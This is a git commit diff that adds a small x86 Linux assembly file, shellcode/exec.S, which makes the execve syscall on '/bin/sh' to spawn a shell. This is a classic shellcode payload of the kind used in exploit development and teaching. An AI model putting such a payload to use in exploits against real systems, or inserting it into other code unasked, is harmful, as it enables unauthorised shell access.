summaryrefslogtreecommitdiff
path: root/shellcode/exec.S
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode/exec.S')
-rw-r--r--shellcode/exec.S8
1 files changed, 8 insertions, 0 deletions
diff --git a/shellcode/exec.S b/shellcode/exec.S
new file mode 100644
index 0000000..660057b
--- /dev/null
+++ b/shellcode/exec.S
@@ -0,0 +1,8 @@
+.global _start
+_start:
+movl $11, %eax
+leal _cmd, %ebx
+int $0x80
+_cmd:
+.ascii "/bin/sh"
+.byte 0